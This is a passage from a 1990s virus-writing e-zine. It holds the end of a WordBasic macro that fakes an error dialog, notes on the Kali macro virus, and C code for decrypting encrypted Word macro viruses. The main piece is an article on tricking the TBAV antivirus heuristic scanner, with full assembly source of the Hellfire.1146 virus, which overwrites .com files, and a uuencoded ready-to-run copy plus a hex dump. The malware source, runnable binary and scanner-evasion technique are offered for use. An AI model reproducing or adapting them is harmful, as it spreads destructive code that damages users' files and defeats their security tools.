DropListBox2$(0) DropListBox2$(0) = "Normal.dot(Global Template)" 'DropListBox2$ contains the text... 'Normal.dot(Global Template). A: Begin Dialog UserDialog 442, 320, "Macro" 'Create a dialog called macro. CancelButton 290, 38, 141, 21 'Create a cancelbutton. PushButton 290, 14, 141, 21, "Rec&ord...", .D2'Create a pushbutton with... 'the label "Record..." the... '& stands for a _ a short-cut. PushButton 290, 72, 141, 21, "&Run", .D3 'Same as above. PushButton 290, 97, 141, 21, "&Create", .D4 'Same as above. PushButton 290, 125, 141, 21, "&Delete", .D5 'Same as above. PushButton 290, 161, 141, 21, "Or&ganizer...", .D6 'Same as above. ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 'Creates an empty... 'ComboBox. Text 6, 223, 93, 13, "Macros &Available In:", .T1 'Some text on the... Text 7, 259, 109, 13, "Description:", .T2 'dialog. Text 7, 7, 93, 13, "&Macro Name:", .T3 ListBox 7, 276, 425, 38, ListBox1$(), .LB1 'Creates an empty... 'ListBox. DropListBox 6, 238, 425, 19, DropListBox2$(), .LB2 'Creates a DropListBox... 'containing the text: Normal.Dot(Global Template). End Dialog 'Ends the dialog. Redim dlg As UserDialog 'Opens the dialog for setting up... x = Dialog(dlg) 'the things to do when a button is pushed. Select Case x Case 0 'If the Cancel button is pushed... Cancel 'just cancel the dialog. Case 1 MsgBox B$, C$, 48 'If another button is pushed... Goto A 'Display a message box containing... Case 2 'the text:"Out Of Memory." and... MsgBox B$, C$, 48 'has as title:"WordBasic Err = 7". Goto A Case 3 MsgBox B$, C$, 48 Goto A Case 4 MsgBox B$, C$, 48 Goto A Case 5 MsgBox B$, C$, 48 Goto A End Select End Sub ------------------------The End------------------------- --- Neophyte --- [ WordMacro. Kali ] VIRUSNAME: Kali SIZE: 18432 Bytes ORIGIN: Taiwan AUTHOR: ????? ->Polymorf No ->Stealth Yes ->Encrypted Yes ->Retro No No source here, because I hadn't got the source. But if you want the source you could get it from the encrypted document kali.doc in virii.zip. Use some decrypter to decrypt the file. But be aware...the document uses stealth methods, so u aren't able to use the tools/macro facilitie. I got lots of problems with it when I created the Puritan virus. When I got it finished I wanted to change something in the virus, but i couldn't use tools/macro, so i have been working on it for more then an hour. I got crazy lots of things wouldn't worked. Happy decrypting it :) --- Neophyte & Aurodreph --- THANKZ & GREETZ --------------- We first wanna thank all our SLAM members for workin real hard to finish this mag. And now, in no specific order, the thankz & greetz. Don't be mad if we forgot you. Just e-mail us and say it, although I doubt that you gonna say it to us, you'll probably scream it :) Cicatrix Great VDAT man! Continue it! God@rky Lookin out for Newsletter #3 Dark Night VBB #4 is great, I know it! Omega Our first distribution BBS :) Sepultura I'll send your questionnary soon Neophyte Thankx for all the great help you gave me on phreaking Methyl See yah on IRC soon Mr. Sandman Next time more assembler for you...until then bring me a dream Lord of Entropy Soon there will be a SLAM homepage, I know it And for the groups: VBB It's back, and it's bigger then ever :) 29a Great virus dissassemblies IR/G Waitin for IR #9 VLAD It's a shame to see you go :( And the other good-oldies like Phalcon-Skism, Trident, etc. --- The SLAM Virus Team --- WHAT'S NEXT ----------- Ofcourse there will be a SLAM issue 2. I think about two months. It will be the usual new techniques and lots of virus shit. But for the techniques: - If the AV-lamers ever make a heuristic macro scanner, we've got some ideas to avoid the heuristic scanning. Some sort of anti- heuristic. - Improved retro. - Polymorfism without numbers in the macro name. - Any articles you send to us. And for the other SLAM stuff: - Interviews with SLAM membas and members from other groups. - Improved viewers. And lots of other things we and you come up with... --- The SLAM Virus Team --- -------------------------------------------------------------- Technique to decrypt macro saved with the option IsReadOnly , By <****{=============- ' AuRoDrEpH, the Drow -------------------------------------------------------------- The material you need : - a WORD document with a macro virus - MicroFuck WORD :-) of course - a good hex editor (UltraEdit, etc....) - some paper and a pencil - my little program (decrypt.exe) Step 1 - Preparation of the document.... Make a copy of the original file and your original NORMAL.DOT... then open the file with WORD (be careful because you will infect your system with the virus....). Delete all the text in the document.... Check if you don't have the OPTION / SAVE / QUICK SAVE enabled... Save the document... Step 2 - Searching of the vital informations * find the encryption key.... Locate the "real" filename of the document within the document, A few bytes after the end of the name, there is a "U", the byte immediately following is the ... XOR value to use. If your document contain several encrypted macro, you will find a U for each macro... so you must copy all the encryption keys... Exemple of document : 000019B0 0003 0A00 0002 0000 0300 0035 0300 0003 ...........5.... 000019C0 0026 000B 4172 7468 7572 2044 656E 7417 .&..Arthur Dent. 000019D0 443A 5C49 4E46 4543 5445 445C 4845 4C50 D:\INFECTED\HELP 000019E0 4552 412E 444F 43FF 0101 0055 8E02 0000 ERA.DOC....U.... 000019F0 00FF FF01 0300 0099 0100 0002 0000 006A ...............j 00001A00 5200 6F00 6F00 7400 2000 4500 6E00 7400 R.o.o.t. .E.n.t. 00001A10 7200 7900 0000 0000 0000 0000 0000 0000 r.y............. Here the encryption key is 8e.... * find the adress of the beginning and the end of the macro... move to the beginning of the document... then go down search something like this....( a pack of information without 00 00) ( The true beginning of the macro as this form : ?? ?? ?? cledec-1 cledec, here is 17F5.. but you can enter another value like 17E9 000017E0 0000 0000 0000 0000 0000 8F8E EA95 E78A ................ 000017F0 C3CF C7C0 EAE9 100E E28F 8EEA 93E9 840E ................ 00001800 8BE9 820E 8B88 9CE2 8A8E 9CE2 8C8E 8882 ................ 00001810 E48C BFBE 90EA DFDC E95F 8EFD EE8E 82E4 ........._...... 00001820 8AE6 EBE2 FEEA DAEA EAE7 8BFA E1FA EFE2 ................ 00001830 82E9 390E 8BE2 8E8E 88EA E786 E7E0 E8EB ..9............. 00001840 EDFA EBEA 82E2 8E8E EAEA 93E7 8BFA E1FA ................ 00001850 EFE2 81E2 8E8E 90EA DCAD E78B EDF7 EDE2 ................ 00001860 EB82 E28F 8EAA E78B FAE1 FAEF E2EA E18C ................ 00001870 93E9 360E 8BE7 8BED F7ED E2EB 9CE2 8E8E ..6............. 00001880 8882 E487 CFFB FAE1 CDE2 E1FD EB90 EAE1 ................ 00001890 8CE0 8AE7 86E7 E0E8 EBED FAEB EA82 E28F ................ 000018A0 8EEA E18C 9493 EADC A8E7 8BED F7ED E2EB ................ 000018B0 EA94 93EA EAE7 8BE0 EFE3 EBAA 82E9 B50E ................ 000018C0 8B88 89E4 84B4 CFFB FAE1 CDE2 E1FD EBEA ................ 000018D0 EA93 E786 E7E0 E8EB EDFA EBEA 83E2 8F8E ................ 000018E0 90EA DCE9 4C0E E78B E0EF E3EB AA9C E49E ....L........... 000018F0 C9E2 E1EC EFE2 B4CF FBFA E1CD E2E1 FDEB ................ 00001900 9CE2 8F8E EAAE EADC E786 E7E0 E8EB EDFA ................ 00001910 EBEA 82E2 8E8E EA94 93EA EA93 E939 0E8B .............9.. 00001920 E28F 8E88 83E2 8E8E 90EA E18C E786 E7E0 ................ 00001930 E8EB EDFA EBEA 82E2 8F8E EA94 93EA EA93 ................ 00001940 E786 E7E0 E8EB EDFA EBEA 82E2 8E8E 90EA ................ 00001950 E18C E9DA 8EFD 458E 82E2 8F8E EAE1 8CE9 ......E......... 00001960 4C0E E49E C9E2 E1EC EFE2 B4CF FBFA E1CD L............... 00001970 E2E1 FDEB 9CE7 8BE0 EFE3 EBAA EA94 93EA ................ 00001980 EA94 9500 0000 0035 0000 0003 00FF FFFF .......5........ 00001990 FF03 00FF FFFF FF01 0004 20FF FF01 0000 .......... ..... 000019A0 0000 0035 0000 0000 0000 0000 0000 0300 ...5............ The end of the macro block is just before a serie of 00 00 00... Here is 1983 Step 3 - Run the program DECRYPT.EXE easy ... with all the information you have find, you will win... This operation will create a document DECRYPT.DOC. Step 4 - Open Word and read the file decrypt.doc If you have a error message, when you open the document it's normal. Go to the Tools/Macro and select each macro.. Be careful not to double click on the macro, this execute its Only one macro can be read it's normal!!! Step 5 - repeat the step 3 and 4 for each macro... Then you have the virus decrypted... Tips : * if your document is > 32 ko, my soft doesn't work, so delete some macros and save the document.. the size will decrease.. If you have some comments or some ideas, please mail me to AURODREPH@defiant.ilf.net Here is the source. You can modify as you want.. I just want you send me you modification... ---><---><---><---><---><---><---><---><---><---><---><---><---><---><--->< /********* Decode macro virus version 1.000.001 beta **********/ #include "io.h" #include "stdlib.h" #include "stdio.h" #include "conio.h" #include "process.h" #include "fcntl.h" #include "sys\stat.h" void main (void) { char Name[13]; char Target[]="decrypt.doc"; int cledec, debmac, finmac, Handler, Handler1; unsigned char *Buffer; unsigned int Offset; unsigned long Length = 0; clrscr(); printf (" ******************************************************************\n"); printf (" * *\n"); printf (" * DECRYPT WORD 6.0 MACROS saved *\n"); printf (" * with the option IsReadOnly *\n"); printf (" * Version 1.000.001 beta *\n"); printf (" * *\n"); printf (" * , *\n"); printf (" * <*****}===============- *\n"); printf (" * (z) ' AURODREPH Productions 04/1996 *\n"); printf (" ******************************************************************\n"); printf ("\n"); printf("\n"); printf ("Name of source file = "); scanf ("%12s",Name); printf ("\n"); printf ("Decrypt Key = "); scanf ("%x",&cledec); printf("\n"); printf ("Begin of the macros (05EF)= "); scanf ("%x",&debmac); printf("\n"); printf ("End of the macros = "); scanf ("%x",&finmac); printf("\n"); Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD); if (Handler == -1) {printf ("Source file doesn't exist... \n"); exit(0);} Length= (unsigned long) lseek(Handler, 0, SEEK_END); lseek (Handler,0,SEEK_SET); printf ("length = %lu octets \n", Length); if (Length >(256L*256)) {close (Handler); printf ("File too long (>32 ko)... %lu octets \n", Length); exit (0);} Buffer = (unsigned char *) malloc((unsigned) Length); if (Buffer == NULL) printf ("Memory Allocation....\n"); if (read(Handler, Buffer, (unsigned) Length) != Length) { /*exit (0);*/} /* beginning for the decryption routine */ for (Offset = debmac; Offset < finmac; Offset++) { Buffer[Offset] ^= cledec; }; /* end of the procedure */ /* Delete the Word protection */ for (Offset = 0x0000; Offset < Length; Offset++) { if ( (Buffer[Offset] == 0x00) && (Buffer[Offset+1] == 0x55) && (Buffer[Offset+2] == cledec)) {Buffer [Offset+2] = 0x00; } }; /* end of the procedure */ _fmode= O_BINARY; Handler1 = creat(Target, S_IREAD | S_IWRITE); write (Handler1, Buffer,(unsigned) Length); close (Handler1); close (Handler); printf("\n"); printf ("done..."); } Generic Anti-Heuristic Encryption Technique for TBAV v7.07 Method, Article and Demonstration Virus by Gothmog/DHA As virus scanners become increasingly more complicated, viruses must as well; the days when adding a few NOPs or switching a couple instructions around was all you needed to do to create an unscannable masterpiece are gone forever. Now, with ThunderByte AntiVirus's new and improved heuristic engine, the days of signature-based heuristics are over as well--the new engine bases its flagging on the function of a program instead of on its syntax; for example, it no longer looks for a "mov ah, 40h" followed soon by an "int 21h", but rather for an "int 21h" that has a value of ah=40h upon execution. In short, many anti-heuristic tricks that worked wonders only several versions of TBAV ago are obsolete. One aspect of ThunderByte's scanning has remained constant, however, and that is its encryption algorithm detection. Instead of using lengthy bypasses to remove all your virus's heuristic flags, you only need create an encryption routine that is not detected by TBAV's algorithmic scanning--a far simpler task. In the past, this common scheme could be used to overcome TBAV's heuristics; it relied upon the fact that the false jump confused the encryption routine detector, and was on the whole quite successful and effective: ; =========================================================================== ; Encryption/Decryption code taken from Ahav.383 ; =========================================================================== key dw 0000 decrypt: mov dx, word ptr [bp+offset key] ; bp holds virus offset ; in ahav, dx was set to a random word on entering the routine, therefore two ; entry points were used... other routines can and will vary. be creative.... encrypt: lea si, [offset start_encrypt+bp] jmp false_jump xor_loop: lodsw xor ax,dx stosw loop xor_loop ret false_jump: mov cx, (end_encrypt - start_encrypt + 1) / 2 mov di, si jmp xor_loop ; ============================================================[ code ends ]== Unfortunately, such an approach no longer works with ThunderByte; the virus is decrypted, and gets the # flag as well as any applicable flags that the encrypted portion triggers: C:\VIRUS\DHA\AHAV-383.COM infected by Ahav.336-383 virus c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. S Contains a routine to search for executable (.COM or .EXE) files. # Found a code decryption routine or debugger trap. This is common for viruses but also for some copy-protected software. O Found code that can be used to overwrite/move a program in memory. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. Clearly, some new encryption routine is needed... And _that_ is what this article is about. I was fooling around with my encryption code the other day, testing ideas for simple, anti-heuristic xor encryption schemes, and I came up with the method that this article is concerned with. It is based upon the same idea as Ahav's xor loop--that is, to conceal the function of the loop by disguising it as some other innocuous control structure. Without further ado, here is the code; it should be pretty much self-explanatory: ; =========================================================================== ; Generic Anti-Heuristic Encryption/Decryption Code for TBAV v7.07 ; =========================================================================== encrypt: decrypt: mov si, offset start_encrypt mov di, si mov cx, (end_encrypt - start_encrypt + 1) / 2 xor_loop: lodsw jmp false_jump false_jump_2: stosw loop xor_loop ret false_jump: db 35h ; db for xor ax, word value key dw 0000 jnc false_jump_2 ; <------ this statement fools tbav's heuristics ; continue your code as necessary here; tbav will not locate any decryption ; loop, and any suspicious code inside the encrypted region will not trigger ; any flags... see below for a demonstration virus which uses this technique, ; and passes all heuristics without a hitch. ; ============================================================[ code ends ]== The essence of this technique is the jnc instruction; since there is no good reason why the carry flag should be set when that instruction is executed, control will always flow to false_jump_2 and thus into the remainder of the decryption code. Thunderbyte, however, sees this as a complex control struct- ure and _NOT_ as a decryption loop, and will not even consider any code inside the encryption area in its further testing. To demonstrate this, I cooked up a quickie overwriter, just to show how silly TBAV's algorithm is. The Hellfire.1146 virus decrypts itself, searches for a com file, checks for prior infection, hooks int 24 while infecting, preserves file attributes, size, and file date/time, and displays a fake "Bad command or file name" message. When all the files in the current directory are infected, it will display an ansi screen and lock in an infinite loop. Nothing spectacular, but it demonstrates this anti-heuristic method's true effectiveness... ; =========================================================================== ; Hellfire.1146 Anti-Heuristic Demonstration Virus Written by Gothmog/DHA ; =========================================================================== ; ; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02; other assemblers ; may work, but are not personally tested or quality assured. ; ; Assemble with: tasm /m2 hell1146.asm (/m1 creates an 1148 byte variant) ; tlink /t hell1146.obj ; ; Alternately: a86 hell1146.asm hell1146.com (makes an 1157 byte variant) .model tiny .code org 100h startvirus: call decrypt start_encrypt: mov ah, 4Eh findfile: mov cx, 07h mov dx, offset com_mask int 21h jc writemessage mov dx, 9Eh mov ax, 3D00h int 21h xchg ax, bx readFile: mov ah, 3Fh mov cx, 01h mov dx, offset bugger int 21h closeFile: mov ah, 3Eh int 21h checkfile: mov ah, 4Fh cmp byte ptr[bugger], 0E8h je findfile cmp word ptr cs:[9Ah], offset endvirus-offset startvirus jl findfile filegood: mov ax, 2524h mov dx, offset [Int24Handler+bp] int 21h mov ax, 4300h mov dx, 9Eh int 21h push cx mov ax, 4301h xor cx, cx int 21h mov ax, 3D02h int 21h xchg ax, bx infectfile: mov ah, 2Ch int 21h mov key, dx mov ah, 40h push ax mov cx, offset endvirus - offset startvirus push cx mov dx, offset startvirus jmp writefile writefakeerror: mov ax, 4301h mov dx, 9Eh pop cx int 21h mov ax, 5701h mov cx, word ptr cs:[096h] mov dx, word ptr cs:[098h] int 21h mov ah, 09h mov dx, offset fakeerror int 21h quitvirus: int 20h writemessage: mov ah, 0Fh int 10h xor ah, ah int 10h mov ah, 01h mov cx, 2607h int 10h mov ax, 0B800h mov es, ax mov cx, 815 mov si, offset msghellfire xor di, di uncrunch: xor dx, dx xor ax, ax cld loop_a: lodsb cmp al, 32 jc foreground stosw next: loop loop_a jmp done foreground: cmp al, 16 jnc background and ah, 0F0h or ah, al jmp next background: cmp al, 24 jz next_line jnc flash_bit_toggle sub al, 16 add al, al add al, al add al, al add al, al and ah, 8Fh or ah, al jmp next next_line: add dx, 160 mov di, dx jmp next flash_bit_toggle: cmp al, 27 jc multi_output jnz next xor ah, 128 jmp next multi_output: cmp al, 25 mov bx, cx lodsb mov cl, al mov al, 32 jz start_output lodsb dec bx start_output: xor ch, ch inc cx rep stosw mov cx, bx dec cx loopnz loop_a done: jmp done Int24Handler: mov al, 03h iret com_mask db '*.com', 0 fakeerror db 'Bad command or file name', 0Dh, 0Ah, '$' msghellfire db 8,16,26,'O',24,26,'O',24,26,'O',24,26,11,'',15,20 db '',26,'3Ŀ',8,16,26,13,'',24,26,11,'',15,20,' ',12 db 26,6,'/ ',14,'uh oh, you',39,'ve been infected with' db ' a virus ',15,'',7,16,'',8,26,11,'',24,26,11,'' db 15,20,' ',12,'//',25,3,'O',25,2,15,27,' Ŀ ' db 25,3,'',25,3,'Ŀ Ŀ Ŀ ',27,'',7,16,'' db 8,26,11,'',24,26,11,'',15,20,' ',12,'//',25,5,'> ' db ' ',15,27,'Ĵ ',25,2,'',25,3,'',25,3,'',25,3,'' db ' ',25,3,27,'',7,16,'',8,26,11,'',24,26,11 db '',15,20,' ',12,'/ \__ ~',25,2,15,27,' ' db ' ',25,3,' ',27,'',7,16,'',8 db 26,11,'',24,26,11,'',15,20,'',25,3,12,'||',25,26,26 db 4,'/',25,13,15,'',7,16,'',8,26,11,'',24,26,11,'' db 15,20,' ',12,'(\ \)',25,2,'(~)',25,19,'// o',25,13 db 15,'',7,16,'',8,26,11,'',24,26,11,'',15,20,' ' db 12,'( \ \ / /',25,19,'//',25,3,'>',25,12,15,'',7,16 db '',8,26,11,'',24,26,11,'',15,20,' ',12,'( \ \' db '/ /',25,8,26,11,'_/ \__O',25,13,15,'',7,16,'',8,26 db 11,'',24,26,11,'',15,20,' ',12,'(',25,2,'\__/',25 db 8,'/ ___ ',26,5,'_\//',25,16,15,'',7,16,'',8,26,11 db '',24,26,11,'',15,20,' ',12,'/',25,2,'| /@',25,7,'(' db ' / / ',26,5,'_)/',25,17,15,'',7,16,'',8,26,11,'' db 24,26,11,'',15,20,' ',12,'(',25,3,'|//',25,9,'\ \ ' db '/ /',25,2,'(_)',25,19,15,'',7,16,'',8,26,11,'',24 db 26,11,'',15,20,' ',12,'\',25,2,'()',25,11,'\ \O/',25 db 26,15,'',7,16,'',8,26,11,'',24,26,11,'',15,20,'' db 25,2,12,'\ |',25,13,') )',25,27,15,'',7,16,'',8,26 db 11,'',24,26,11,'',15,20,'',25,3,12,') )',25,12,'/' db ' /',25,28,15,'',7,16,'',8,26,11,'',24,26,11,'',15 db 20,'',25,2,12,'( |_',25,10,'/ /_ ',10,'so, do you' db ' like taking it ',15,'',7,16,'',8,26,11,'',24,26 db 11,'',15,20,'',25,2,12,'(',26,3,'_>',25,8,'(',26,3,'_' db '>',25,7,10,'up the ass?',25,8,15,'',7,16,'',8,26,11 db '',24,26,11,'',15,20,'',26,'3',7,16,'',8,26,11 db '',24,26,13,'',7,26,'5',8,26,11,'',24,26,'O',24,26 db 'O',24,26,'O',24 end_encrypt equ $ - 1 writefile: call encrypt pop cx pop ax int 21h call decrypt jmp writefakeerror encrypt: decrypt: mov si, offset start_encrypt mov di, si mov cx, (end_encrypt - start_encrypt + 1) / 2 xorLoop: lodsw jmp hahahahaha oioioioioi: stosw loop xorLoop ret hahahahaha: db 35h key dw 0000 jnc oioioioioi endvirus: bugger db ? f_attr db 09h dup (?) end startvirus ; ============================================================[ code ends ]== For those of you reading without a working assembler (there might be one or two, you never know...), here is a uuencoded first-generation copy of the virus, simply run UUDECODE or its equivalent on the article, or cut and paste the encoded section into a text file and decode it: section 1/1 file hell1146.com [ Wincode 2.7.3 ] begin 644 hell1146.com MZ&,$M$ZY!P"Z"0+-(7)^NIX`N``]S2&3M#^Y`0"Z>@7-(;0^S2&T3X`^>@7H M=-8N@3Z:`'H$?,VX)"6+E@8"S2&X`$.ZG@#-(5&X`4,SR@11N@`!Z>T#N`%#NIX`6`Y/`*X.OQ/!AT$W,9+!`"P`+``L`"P(#DCPK@Z]J!PJ``B_KK MTCP;<@=US(#T@.O'/!F+V:R*R+`@=`*L2S+M0?.KB\M)X*KK_K`#SRHN8V]M M`$)A9"!C;VUM86YD(&]R(&9I;&4@;F%M90T*)`@0&D^P&!I/L!@:3[`8&@NP M#Q3:&C/$OP@0&@VP&!H+L`\4LR`@#!H&+R`@#G5H(&]H+"!Y;W4G=F4@8F5E M;B!I;F9E8W1E9"!W:71H(&$@=FER=7,@#[,'$+&Q"!H+L!@:"[`/%+,@(`PO M+QD#3QD"#QO2("#"(-+$Q+\@TAD#TAD#TL3$OR#$TL0@TL3$OR#2Q,2_("`; MLP<0L;$(&@NP&!H+L`\4LR`,+R\9!3X@(`\;Q\3$M"#'Q!D"NAD#NAD#Q\09 M`[H@(,?$PMD@Q\09`QNS!Q"QL0@:"[`8&@NP#Q2S("`,+R!<7U\@?AD"#QO0 M("#!(-#$Q-D@T,3$V2#0Q,39(-`9`\30Q"#0(,$@(-#$Q-D@(!NS!Q"QL0@: M"[`8&@NP#Q2S&0,,?'P9&AH$+QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH7"!< M*1D"*'XI&1,O+R`@;QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH(%P@7"`@+R`O M&1,O+QD#/AD,#[,'$+&Q"!H+L!@:"[`/%+,@(`PH("!<(%PO("\9"!H+7R\@ M7%]?3QD-#[,'$+&Q"!H+L!@:"[`/%+,@(`PH&0)<7U\O&0@O("!?7U\@&@5? M7"\O&1`/LP<0L;$(&@NP&!H+L`\4LR`@#"\9`GP@+T`9!R@@("\@("\@&@5? M*2\9$0^S!Q"QL0@:"[`8&@NP#Q2S(`PH&0-\+R\9"5P@7"`O("\9`BA?*1D3 M#[,'$+&Q"!H+L!@:"[`/%+,@(`Q<&0(H*1D+7"!<3R\9&@^S!Q"QL0@:"[`8 M&@NP#Q2S&0(,7"`@?!D-*2`I&1L/LP<0L;$(&@NP&!H+L`\4LQD##"D@*1D, M+R`O&1P/LP<0L;$(&@NP&!H+L`\4LQD"#"@@('Q?&0HO("]?("`*@#`.D& 5_+X#`8O^N2L"K>L$J^+ZPS4``'/W ` end sum -r/size 11861/1146 section 1/1 file hell1146.com [ Wincode 2.7.3 ] All right... First off, let's examine a hex dump of the virus and see what we come up with: 0CB8:0100 E8 63 04 B4 4E B9 07 00-BA 09 02 CD 21 72 7E BA .c..N.......!r~. 0CB8:0110 9E 00 B8 00 3D CD 21 93-B4 3F B9 01 00 BA 7A 05 ....=.!..?....z. 0CB8:0120 CD 21 B4 3E CD 21 B4 4F-80 3E 7A 05 E8 74 D6 2E .!.>.!.O.>z..t.. 0CB8:0130 81 3E 9A 00 7A 04 7C CD-B8 24 25 8B 96 06 02 CD .>..z.|..$%..... 0CB8:0140 21 B8 00 43 BA 9E 00 CD-21 51 B8 01 43 33 C9 CD !..C....!Q..C3.. 0CB8:0150 21 B8 02 3D CD 21 93 B4-2C CD 21 89 16 76 05 B4 !..=.!..,.!..v.. 0CB8:0160 40 50 B9 7A 04 51 BA 00-01 E9 ED 03 B8 01 43 BA @P.z.Q........C. 0CB8:0170 9E 00 59 CD 21 B8 01 57-2E 8B 0E 96 00 2E 8B 16 ..Y.!..W........ 0CB8:0180 98 00 CD 21 B4 09 BA 0F-02 CD 21 CD 20 B4 0F CD ...!......!. ... 0CB8:0190 10 32 E4 CD 10 B4 01 B9-07 26 CD 10 B8 00 B8 8E .2.......&...... 0CB8:01A0 C0 B9 2F 03 BE 2A 02 33-FF 33 D2 33 C0 FC AC 3C ../..*.3.3.3...< 0CB8:01B0 20 72 05 AB E2 F8 EB 4C-3C 10 73 07 80 E4 F0 0A r.....L<.s..... 0CB8:01C0 E0 EB F1 3C 18 74 13 73-19 2C 10 02 C0 02 C0 02 ...<.t.s.,...... 0CB8:01D0 C0 02 C0 80 E4 8F 0A E0-EB DA 81 C2 A0 00 8B FA ................ 0CB8:01E0 EB D2 3C 1B 72 07 75 CC-80 F4 80 EB C7 3C 19 8B ..<.r.u......<.. 0CB8:01F0 D9 AC 8A C8 B0 20 74 02-AC 4B 32 ED 41 F3 AB 8B ..... t..K2.A... 0CB8:0200 CB 49 E0 AA EB FE B0 03-CF 2A 2E 63 6F 6D 00 42 .I.......*.com.B 0CB8:0210 61 64 20 63 6F 6D 6D 61-6E 64 20 6F 72 20 66 69 ad command or fi 0CB8:0220 6C 65 20 6E 61 6D 65 0D-0A 24 08 10 1A 4F B0 18 le name..$...O.. 0CB8:0230 1A 4F B0 18 1A 4F B0 18-1A 0B B0 0F 14 DA 1A 33 .O...O.........3 0CB8:0240 C4 BF 08 10 1A 0D B0 18-1A 0B B0 0F 14 B3 20 20 .............. 0CB8:0250 0C 1A 06 2F 20 20 0E 75-68 20 6F 68 2C 20 79 6F .../ .uh oh, yo 0CB8:0260 75 27 76 65 20 62 65 65-6E 20 69 6E 66 65 63 74 u've been infect 0CB8:0270 65 64 20 77 69 74 68 20-61 20 76 69 72 75 73 20 ed with a virus 0CB8:0280 0F B3 07 10 B1 B1 08 1A-0B B0 18 1A 0B B0 0F 14 ................ 0CB8:0290 B3 20 20 0C 2F 2F 19 03-4F 19 02 0F 1B D2 20 20 . .//..O..... 0CB8:02A0 C2 20 D2 C4 C4 BF 20 D2-19 03 D2 19 03 D2 C4 C4 . .... ......... 0CB8:02B0 BF 20 C4 D2 C4 20 D2 C4-C4 BF 20 D2 C4 C4 BF 20 . ... .... .... 0CB8:02C0 20 1B B3 07 10 B1 B1 08-1A 0B B0 18 1A 0B B0 0F ............... 0CB8:02D0 14 B3 20 0C 2F 2F 19 05-3E 20 20 0F 1B C7 C4 C4 .. .//..> ..... 0CB8:02E0 B4 20 C7 C4 19 02 BA 19-03 BA 19 03 C7 C4 19 03 . .............. 0CB8:02F0 BA 20 20 C7 C4 C2 D9 20-C7 C4 19 03 1B B3 07 10 . .... ........ 0CB8:0300 B1 B1 08 1A 0B B0 18 1A-0B B0 0F 14 B3 20 20 0C ............. . 0CB8:0310 2F 20 5C 5F 5F 20 7E 19-02 0F 1B D0 20 20 C1 20 / \__ ~..... . 0CB8:0320 D0 C4 C4 D9 20 D0 C4 C4-D9 20 D0 C4 C4 D9 20 D0 .... .... .... . 0CB8:0330 19 03 C4 D0 C4 20 D0 20-C1 20 20 D0 C4 C4 D9 20 ..... . . .... 0CB8:0340 20 1B B3 07 10 B1 B1 08-1A 0B B0 18 1A 0B B0 0F ............... 0CB8:0350 14 B3 19 03 0C 7C 7C 19-1A 1A 04 2F 19 0D 0F B3 .....||..../.... 0CB8:0360 07 10 B1 B1 08 1A 0B B0-18 1A 0B B0 0F 14 B3 20 ............... 0CB8:0370 20 0C 28 5C 20 5C 29 19-02 28 7E 29 19 13 2F 2F .(\ \)..(~)..// 0CB8:0380 20 20 6F 19 0D 0F B3 07-10 B1 B1 08 1A 0B B0 18 o............. 0CB8:0390 1A 0B B0 0F 14 B3 20 20-0C 28 20 5C 20 5C 20 20 ...... .( \ \ 0CB8:03A0 2F 20 2F 19 13 2F 2F 19-03 3E 19 0C 0F B3 07 10 / /..//..>...... 0CB8:03B0 B1 B1 08 1A 0B B0 18 1A-0B B0 0F 14 B3 20 20 0C ............. . 0CB8:03C0 28 20 20 5C 20 5C 2F 20-2F 19 08 1A 0B 5F 2F 20 ( \ \/ /...._/ 0CB8:03D0 5C 5F 5F 4F 19 0D 0F B3-07 10 B1 B1 08 1A 0B B0 \__O............ 0CB8:03E0 18 1A 0B B0 0F 14 B3 20-20 0C 28 19 02 5C 5F 5F ....... .(..\__ 0CB8:03F0 2F 19 08 2F 20 20 5F 5F-5F 20 1A 05 5F 5C 2F 2F /../ ___ .._\// 0CB8:0400 19 10 0F B3 07 10 B1 B1-08 1A 0B B0 18 1A 0B B0 ................ 0CB8:0410 0F 14 B3 20 20 0C 2F 19-02 7C 20 2F 40 19 07 28 ... ./..| /@..( 0CB8:0420 20 20 2F 20 20 2F 20 1A-05 5F 29 2F 19 11 0F B3 / / .._)/.... 0CB8:0430 07 10 B1 B1 08 1A 0B B0-18 1A 0B B0 0F 14 B3 20 ............... 0CB8:0440 0C 28 19 03 7C 2F 2F 19-09 5C 20 5C 20 2F 20 2F .(..|//..\ \ / / 0CB8:0450 19 02 28 5F 29 19 13 0F-B3 07 10 B1 B1 08 1A 0B ..(_)........... 0CB8:0460 B0 18 1A 0B B0 0F 14 B3-20 20 0C 5C 19 02 28 29 ........ .\..() 0CB8:0470 19 0B 5C 20 5C 4F 2F 19-1A 0F B3 07 10 B1 B1 08 ..\ \O/......... 0CB8:0480 1A 0B B0 18 1A 0B B0 0F-14 B3 19 02 0C 5C 20 20 .............\ 0CB8:0490 7C 19 0D 29 20 29 19 1B-0F B3 07 10 B1 B1 08 1A |..) ).......... 0CB8:04A0 0B B0 18 1A 0B B0 0F 14-B3 19 03 0C 29 20 29 19 ............) ). 0CB8:04B0 0C 2F 20 2F 19 1C 0F B3-07 10 B1 B1 08 1A 0B B0 ./ /............ 0CB8:04C0 18 1A 0B B0 0F 14 B3 19-02 0C 28 20 20 7C 5F 19 ..........( |_. 0CB8:04D0 0A 2F 20 2F 5F 20 20 0A-73 6F 2C 20 64 6F 20 79 ./ /_ .so, do y 0CB8:04E0 6F 75 20 6C 69 6B 65 20-74 61 6B 69 6E 67 20 69 ou like taking i 0CB8:04F0 74 20 20 0F B3 07 10 B1-B1 08 1A 0B B0 18 1A 0B t ............. 0CB8:0500 B0 0F 14 B3 19 02 0C 28-1A 03 5F 3E 19 08 28 1A .......(.._>..(. 0CB8:0510 03 5F 3E 19 07 0A 75 70-20 74 68 65 20 61 73 73 ._>...up the ass 0CB8:0520 3F 19 08 0F B3 07 10 B1-B1 08 1A 0B B0 18 1A 0B ?............... 0CB8:0530 B0 0F 14 C0 1A 33 C4 D9-07 10 B1 B1 08 1A 0B B0 .....3.......... 0CB8:0540 18 1A 0D B0 07 1A 35 B1-08 1A 0B B0 18 1A 4F B0 ......5.......O. 0CB8:0550 18 1A 4F B0 18 1A 4F B0-18 E8 0A 00 59 58 CD 21 ..O...O.....YX.! 0CB8:0560 E8 03 00 E9 06 FC BE 03-01 8B FE B9 2B 02 AD EB ............+... 